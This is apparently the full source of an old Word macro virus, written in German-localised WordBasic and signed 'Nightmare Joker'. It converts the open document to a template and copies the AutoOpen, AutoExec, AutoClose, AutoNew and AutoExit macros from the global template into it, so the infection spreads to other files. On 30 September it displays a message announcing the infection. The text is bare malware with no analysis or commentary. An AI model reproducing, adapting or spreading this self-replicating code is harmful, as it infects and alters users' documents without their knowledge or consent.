Sub MAIN
On Error Goto Done

For i = 1 To ZhlenMakros(1, 0)
	If MakroName$(i, 1, 1) = "AutoExit" Then
		iControl = 1
	End If
Next i

If iControl = 1 Then	
	Goto finish1
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	MakroKopieren "Global:AutoOpen", DateiName$() + ":AutoOpen", 1
	MakroKopieren "Global:AutoExec", DateiName$() + ":AutoExec", 1	
	MakroKopieren "Global:AutoClose", DateiName$() + ":AutoClose", 1
	MakroKopieren "Global:AutoNew", DateiName$() + ":AutoNew", 1
	MakroKopieren "Global:AutoExit", DateiName$() + ":AutoExit", 1
	DateiAllesSpeichern 1, 0
End If

finish1:

If Monat(Jetzt()) = 9 And Tag(Jetzt()) = 30 Then
        MsgBox "Youre infected with Satanic", "Nightmare Joker   :-)"
Else
	Goto Done
End If

Done:

End Sub
